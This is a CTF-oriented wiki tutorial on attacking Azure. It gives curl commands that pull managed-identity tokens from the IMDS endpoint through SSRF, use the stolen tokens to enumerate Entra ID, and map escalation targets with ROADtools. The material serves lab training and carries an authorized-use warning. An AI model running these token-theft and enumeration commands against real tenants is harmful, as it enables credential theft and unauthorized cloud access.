Athena Wiki

Azure & Entra ID Attacks

cloudintermediate

Steal managed-identity tokens via Azure IMDS, enumerate Entra ID, and abuse over-privileged service principals and storage misconfigs in CTF cloud challenges.

cloudazureentra-idimdsmanaged-identityssrfgrapharm

Azure & Entra ID Attacks

Azure CTF challenges revolve around two trust boundaries: the compute identity baked into a VM, container, or App Service (a managed identity), and the directory identity layer — Entra ID (formerly Azure AD), which governs users, groups, service principals, and app registrations. The classic chain mirrors AWS: an SSRF reaches the local metadata service, you steal an OAuth bearer token, and that token unlocks the Azure Resource Manager (ARM) control plane or Microsoft Graph.

The crucial Azure twist is token audiences. Unlike AWS, where one set of credentials works everywhere, Azure tokens are scoped to a single resource (audience). A token minted for ARM will not authenticate to Graph, and vice versa — so you request a separate token per target API.

Authorized use only

Every command here is for intentionally vulnerable CTF labs and lab tenants you own (for example PurpleCloud or a disposable trial tenant). Probing metadata endpoints, enumerating Entra ID, or exercising tokens against a real tenant you do not control is unauthorized access. Use throwaway tenants, never production.


SSRF → IMDS → Token Attack Chain

Mermaid diagram

The Azure IMDS Endpoint

Every Azure VM exposes the Instance Metadata Service at 169.254.169.254. Two things differ from AWS IMDS and trip up first-timers:

  1. Every request must carry the header Metadata: true. There is no token-exchange step like AWS IMDSv2 — the header alone is the anti-SSRF control, and any SSRF that can set headers defeats it.
  2. The token endpoint takes a resource query parameter naming the audience you want a token for.
# Request an ARM-scoped token from the VM IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

The JSON response contains access_token (a JWT), expires_in, and resource. Decode the JWT at the audience (aud) claim to confirm what it is good for.

App Service, Functions, and Container Apps do not use 169.254.169.254. Instead they expose IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables, and the request uses the X-IDENTITY-HEADER header instead of Metadata: true. If you land code execution in one of those, read the env vars first.

Token Audiences (resource values)

resource valueAPI it unlocks
https://management.azure.com/Azure Resource Manager (ARM) — subscriptions, VMs, storage, run-command
https://graph.microsoft.com/Microsoft Graph — Entra ID users, groups, apps, roles
https://vault.azure.net/Key Vault — read secrets/keys/certs
https://storage.azure.com/Storage data plane — blobs, queues, tables
https://database.windows.net/Azure SQL

A token only works against its aud. Request one per API you intend to hit.


Using a Stolen Token

Once you have a raw bearer token you can either call the REST APIs directly with curl, or hand it to the Azure CLI. The CLI is usually faster for enumeration.

TOKEN="<access_token from IMDS>"

# ARM: list subscriptions reachable by this identity
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2022-12-01"

# Graph: who am I / what can I see
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me"

Entra ID Enumeration

With a Graph-audience token you map the directory: users, groups, service principals, app registrations, and directory role assignments. The goal is to find a principal whose privileges exceed yours — then become it.

Identify the current principal

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me" | jq '{id, userPrincipalName, displayName}'

For a managed identity this resolves to a service principal — note its id (object ID).

Enumerate the directory

# Users, groups, service principals, app registrations
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users" | jq '.value[].userPrincipalName'
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/servicePrincipals" | jq '.value[].appDisplayName'
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/applications" | jq '.value[].appId'

Map directory role assignments

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

Look for principals holding Global Administrator, Privileged Role Administrator, or Application Administrator — those are escalation targets.

Automate with ROADtools

ROADtools (roadrecon) dumps the whole tenant into a queryable database with a web UI. For graph-based privilege-path mapping, AzureHound feeds BloodHound.

roadrecon auth --access-token "$GRAPH_TOKEN"
roadrecon gather
roadrecon gui     # browse the tenant

Common Misconfigurations


Tooling Quick Reference

ToolPurpose
az CLIAuthenticate (az login --identity), enumerate ARM, mint tokens (az account get-access-token)
ROADtools (roadrecon)Dump & explore an entire Entra ID tenant via Graph
AzureHoundCollect Azure/Entra relationships into BloodHound for privesc paths
MicroBurstPowerShell toolkit: storage/SAS hunting, IMDS token theft, service enumeration
ScoutSuiteMulti-cloud config auditor; flags Azure misconfigs offline

Checklist

  • Confirm SSRF reaches 169.254.169.254 with a Metadata: true header (or read IDENTITY_ENDPOINT/IDENTITY_HEADER on App Service/Functions)
  • Request a separate token per resource audience (ARM vs Graph vs Key Vault)
  • Decode the JWT aud claim to confirm the token target before using it
  • With ARM token: az login --identity, list resources, VMs, storage, Key Vaults
  • With Graph token: enumerate users, service principals, app registrations, role assignments (ROADtools)
  • Hunt over-privileged roles: Owner, User Access Administrator, broad Graph app roles
  • Check storage accounts for public containers and leaked SAS tokens
  • Look for leaked app-registration secrets (client_id + client_secret + tenant_id)
  • Re-enumerate after each escalation (role grant, added app secret, assumed SP)

See Also


Last updated on

On this page